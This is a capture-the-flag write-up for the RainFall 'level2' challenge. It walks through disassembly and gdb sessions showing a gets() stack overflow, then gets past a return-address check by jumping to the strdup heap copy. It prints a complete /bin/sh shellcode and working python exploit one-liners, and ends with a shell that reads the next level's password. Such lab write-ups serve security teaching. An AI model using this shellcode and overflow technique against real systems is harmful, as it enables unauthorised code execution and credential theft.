6.6 KiB
Code has 1 function that's interesting : p.
0x080484d4 <p+0>: push ebp
0x080484d5 <p+1>: mov ebp,esp
0x080484d7 <p+3>: sub esp,0x68
0x080484da <p+6>: mov eax,ds:0x8049860
0x080484df <p+11>: mov DWORD PTR [esp],eax
0x080484e2 <p+14>: call 0x80483b0 <fflush@plt>
0x080484e7 <p+19>: lea eax,[ebp-0x4c]
0x080484ea <p+22>: mov DWORD PTR [esp],eax
0x080484ed <p+25>: call 0x80483c0 <gets@plt>
0x080484f2 <p+30>: mov eax,DWORD PTR [ebp+0x4]
0x080484f5 <p+33>: mov DWORD PTR [ebp-0xc],eax
0x080484f8 <p+36>: mov eax,DWORD PTR [ebp-0xc]
0x080484fb <p+39>: and eax,0xb0000000
0x08048500 <p+44>: cmp eax,0xb0000000
0x08048505 <p+49>: jne 0x8048527 <p+83>
0x08048507 <p+51>: mov eax,0x8048620
0x0804850c <p+56>: mov edx,DWORD PTR [ebp-0xc]
0x0804850f <p+59>: mov DWORD PTR [esp+0x4],edx
0x08048513 <p+63>: mov DWORD PTR [esp],eax
0x08048516 <p+66>: call 0x80483a0 <printf@plt>
0x0804851b <p+71>: mov DWORD PTR [esp],0x1
0x08048522 <p+78>: call 0x80483d0 <_exit@plt>
0x08048527 <p+83>: lea eax,[ebp-0x4c]
0x0804852a <p+86>: mov DWORD PTR [esp],eax
0x0804852d <p+89>: call 0x80483f0 <puts@plt>
0x08048532 <p+94>: lea eax,[ebp-0x4c]
0x08048535 <p+97>: mov DWORD PTR [esp],eax
0x08048538 <p+100>: call 0x80483e0 <strdup@plt>
0x0804853d <p+105>: leave
0x0804853e <p+106>: ret
Fig 1. Disassembly of p function
We notice there's a get to exploit, however, we have no idea where we could return as there is no shell opened anywhere in the program. We have to use a shellcode for this, which is a asm code that opens a shell. We are going to put in in our input string, and jump onto the start of it.
First step is to find the return address' of p in the stack.
(gdb) b *p+0
Breakpoint 2 at 0x80484d4
(gdb) run
Starting program: /home/user/level2/level2
Breakpoint 2, 0x080484d4 in p ()
(gdb) p $esp
$1 = (void *) 0xbffff72c
Then we'll need to figure out the size of our gets stack, we can count
0x080484d4 <p+0>: push ebp // esp -= 4
0x080484d5 <p+1>: mov ebp,esp // ebp = esp
0x080484d7 <p+3>: sub esp,0x68 // allocate 104 bytes
0x080484da <p+6>: mov eax,ds:0x8049860
0x080484df <p+11>: mov DWORD PTR [esp],eax
0x080484e2 <p+14>: call 0x80483b0 <fflush@plt>
0x080484e7 <p+19>: lea eax,[ebp-0x4c] // read to top 76 bytes
0x080484ea <p+22>: mov DWORD PTR [esp],eax
0x080484ed <p+25>: call 0x80483c0 <gets@plt>
So we have 76 bytes for the correct usage of the function, then 4 bytes that should contain the old value of ebp, then we should be at our ret address.
So we will put our shell code, then some 'A's until 80 characters, then the address of our shell code which should be the ret address + 8.
Let's try :)
Shellcode is 46 bytes long, so we need 34 'A'
Here is the shellcode taken from the internet : \x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68
level2@RainFall:~$ (python -c "print('\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'+'A'*34+'\x24\xf7\xff\xbf')"; cat) | ./level2
(0xbffff724)
whoami
It print's our return address and then exits to cat but no shell was opened.
This is because we entered this branch
0x080484f2 <p+30>: mov eax,DWORD PTR [ebp+0x4] // eax = ebp[4]
^ This line puts the return address's value of p function into eax register
0x080484f5 <p+33>: mov DWORD PTR [ebp-0xc],eax // ebp[-12] = eax
0x080484f8 <p+36>: mov eax,DWORD PTR [ebp-0xc] // eax = ebp[-12]
0x080484fb <p+39>: and eax,0xb0000000
0x08048500 <p+44>: cmp eax,0xb0000000
0x08048505 <p+49>: jne 0x8048527 <p+83>
0x08048507 <p+51>: mov eax,0x8048620
0x0804850c <p+56>: mov edx,DWORD PTR [ebp-0xc]
0x0804850f <p+59>: mov DWORD PTR [esp+0x4],edx
0x08048513 <p+63>: mov DWORD PTR [esp],eax
0x08048516 <p+66>: call 0x80483a0 <printf@plt>
0x0804851b <p+71>: mov DWORD PTR [esp],0x1
0x08048522 <p+78>: call 0x80483d0 <_exit@plt>
So we cannot ever return on our string. At the end of the function tho, strdup is called on our string
25 0x08048527 <p+83>: lea eax,[ebp-0x4c]
26 0x0804852a <p+86>: mov DWORD PTR [esp],eax
27 0x0804852d <p+89>: call 0x80483f0 <puts@plt>
28 0x08048532 <p+94>: lea eax,[ebp-0x4c] // same as gets argument
29 0x08048535 <p+97>: mov DWORD PTR [esp],eax
30 0x08048538 <p+100>: call 0x80483e0 <strdup@plt>
31 0x0804853d <p+105>: leave
So we can check the return address of strdup.
(gdb) b *p+105
Breakpoint 1 at 0x804853d
(gdb) run < shellcode_bf
Starting program: /home/user/level2/level2 < shellcode_bf
(0xbffff724)
[Inferior 1 (process 5098) exited with code 01]
(gdb) run < exploit3.txt
Starting program: /home/user/level2/level2 < exploit3.txt
<0A><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>1<EFBFBD><31>F1<46>1<EFBFBD>̀<EFBFBD>[1<><31>C<EFBFBD><43>C
<20>
<20><>S
<20><><EFBFBD><EFBFBD><EFBFBD>/bin/sh<73><68><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Breakpoint 1, 0x0804853d in p ()
(gdb) i r
eax 0x804a008 134520840
ecx 0x0 0
edx 0xbffff6dc -1073744164
ebx 0xb7fd0ff4 -1208152076
esp 0xbffff6c0 0xbffff6c0
ebp 0xbffff728 0xbffff728
esi 0x0 0
edi 0x0 0
eip 0x804853d 0x804853d <p+105>
eflags 0x200282 [ SF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb)
We see eax is 0x804a008, let's replace our command with this address.
(python -c "print('\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'+'A'*34+'\x08\xa0\x04\x08')"; cat) | ./level2
level2@RainFall:~$ (python -c "print('\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'+'A'*34+'\x08\xa0\x04\x08')"; cat) | ./level2
1<><31>F1<46>1<EFBFBD>̀<EFBFBD>[1<><31>C<EFBFBD><43>C
<20>
<20><>S
<20><><EFBFBD><EFBFBD><EFBFBD>/bin/shAAAAAAAAAAAAAAAAAAAAAAAAAAAA<41>
whoami
level3
cat /home/user/level3/.pass
492deb0e7d14c4b5695173cca843c4384fe52d0857c2b0718e1a521a4d33ec02
:)